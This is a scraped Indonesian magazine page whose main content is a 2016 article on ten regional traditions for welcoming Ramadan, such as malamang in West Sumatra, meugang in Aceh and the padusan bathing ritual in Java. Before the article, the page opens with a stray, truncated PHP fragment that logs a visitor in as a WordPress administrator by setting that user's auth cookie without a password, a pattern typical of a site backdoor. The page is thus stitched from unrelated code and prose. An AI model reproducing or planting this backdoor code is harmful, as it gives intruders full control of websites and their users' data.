user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Trending Topic
10 Tradisi Sambut Ramadan di Berbagai Daerah

13 Jun 2016



Foto: Shamsul Ismin Tumin/Demotix/Corbis, Fadkus S/Demotix/Corbis, Dok. AFP, Dok. Tempo, Dok. Antara

Keragaman tampak dalam kebiasaan kaum muslim di tanah air dalam menyambut Ramadan. Namun, intinya tetap satu: menyucikan diri lahir dan batin sebelum menjalani ibadah puasa sebulan penuh. Selain larut dalam kegembiraan dan rasa syukur, warga juga beramai-ramai merawat kearifan lokal.
 
Kehidupan Dapur Komunal
Sambutan untuk Ramadan sejatinya bisa disebut serupa ‘Lebaran kecil’ bagi warga beberapa daerah. Tradisi silaturahmi dan bermaaf-maafan dilengkapi dengan memasak makanan khas daerahnya dan disantap bersama. Bahkan, di beberapa daerah, para perantau sengaja mudik untuk bersilaturahmi dan menikmati sahur pertama bersama keluarga besar.
Foto: Tradisi Malamang, Sumatra Barat

            Masyarakat Sumatra Barat memiliki tradisi malamang. Kaum ibu di sana bersama-sama membuat lemang untuk dijadikan antaran ke sanak saudara. Lemang adalah makanan khas Minang yang terbuat dari beras ketan, santan, dan pisang. Sementara itu, para bapak bertugas membeli daging sapi untuk lauk di acara doa bersama pada malam harinya.
 











 











Advertisement


Foto: Tradisi Meugang, Aceh

            Warga Aceh pun memiliki tradisi yang tak kalah meriah. Dua hari menjelang Ramadan, mereka melaksanakan tradisi meugang atau menyembelih ternak yang akan dimasak sebagai jamuan makan keluarga. Memang, di hari itu setiap keluarga berkumpul dan menikmati sajian masakan daging, baik itu yang disembelih sendiri atau dibeli. Karena semua harus kebagian daging, imbasnya harga daging biasanya ikut melonjak drastis.

Foto: Tradisi Sadranan, Jawa

            Meski tak memiliki tradisi masak bersama, masyarakat di Jawa biasanya menyambut Ramadan dengan nyadran atau sadranan. Saat nyadran, mereka berdoa dan makan bersama (kendurian) di sepanjang jalan yang digelari tikar dan daun pisang. Demikian juga dengan masyarakat Parahyangan. Mereka memiliki tradisi munggahan atau berkumpul dan makan bersama kelaurga sebelum Ramadan tiba. Sebelumnya, biasanya masyarakat Jawa dan juga Sunda juga berziarah ke makam keluarga.


Foto: Tradisi Punggahan, Sunda
 
Semarak Karnaval
 

Foto: Pesta Rakyat Dugderan, Semarang

Silaturahmi warga juga dirayakan bersama lewat pesta rakyat dengan arak-arakan di jalan-jalan utama, dipusatkan di masjid atau di tengah kota. Di Semarang, Dugderan atau pesta rakyat dengan menabuh beduk masjid menandai awal puasa. Arak-arakan ini dimulai di halaman balai kota menuju Masjid Besar Kauman, Pasar Johar, Semarang.

Foto: Festival Meriam Karbit, Pontianak

            Sementara itu, dentuman meriam memeriahkan suasana Ramadan di Pontianak lewat Festival Meriam Karbit yang diadakan di Sungai Kapuas. Festival tersebut rutin dilakukan masyarakat Melayu Pontianak untuk mengingat sejarah kota yang didirikan oleh Sultan Syarif Abdurrahman. Dulu meriam juga ditembakkan sebagai penanda waktu magrib, karena masjid-masjid belum punya alat pengeras suara. Kini meriam yang digunakan bukan lagi meriam seperti di zaman penjajahan, tetapi meriam tradisional dari kayu durian atau kayu kelapa.


Foto: Lomba Pacu Jalur, Riau

            Sama-sama diadakan di sungai, Pacu Jalur atau lomba dayung diadakan masyarakat Kuantan Singingi, Riau, di sungai Kuantan. Lomba ini ditutup dengan mandi balimau kasai menjelang matahari terbenam hingga malam hari.

Foto: Festival Gunungan/Grebeg Apem, Jombang

Warga Jombang, Jawa Timur punya festival unik yang memperebutkan ribuan apem di Festival Gunungan/Grebeg Apem. Kue-kue apem itu dibuat oleh ibu-ibu dari komunitas pangan. Gunungan apem juga dimanfaatkan oleh pemerintah daerah untuk mengampanyekan pangan nonberas kepada masyarakat. Di Yogyakarta, Festival Ruwahan Apeman biasanya diramaikan juga dengan kirab hasil bumi dan festival seni.
 
Segar dengan Mandi Berendam

 

Foto: Mandi Balimau, Riau

Selain bersilaturahmi dan bermaaf-maafan dengan sahabat dan kerabat, masyarakat di beberapa daerah melakukan tradisi mandi untuk menyucikan diri lahir dan batin sebelum Ramadan. Tradisi ini masih hidup di masyarakat Minang dan Riau. Tradisi balimau, atau mandi di tempat pemandian dengan limau jeruk nipis sebagai pengganti sabun untuk menyegarkan tubuh ini diyakini telah dilakukan selama berabad-abad. Di Riau, selain limau, warga juga menggunakan kasai, pengharum rambut saat keramas sehingga disebut balimau kasai. Kasai diyakini dapat membersihkan sifat buruk seperti iri hati atau dengki. Balimau kasai dilakukan oleh warga dengan menceburkan diri di Sungai Kampar dan kerap menarik perhatian turis.

Foto: Tradisi Padusan, Jawa Tengah

Di Jawa, tradisi serupa disebut padusan (adus = mandi). Jika dulu mandi berendam ini menggunakan air dari tujuh sumber, kini padusan bisa dilakukan di sumber air mana pun. Tidak mengherankan, biasanya warga dari berbagai daerah seperti Klaten, Boyolali, dan Yogyakarta beramai-ramai mendatangi sumber air yang juga tempat wisata. Air terjun Grojogan Sewu di Tawangmangu, Jawa Tengah, misalnya, dikunjungi lebih dari dua ribu orang dalam sehari menjelang puasa. (f)



Topic

#puasadanlebaran

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?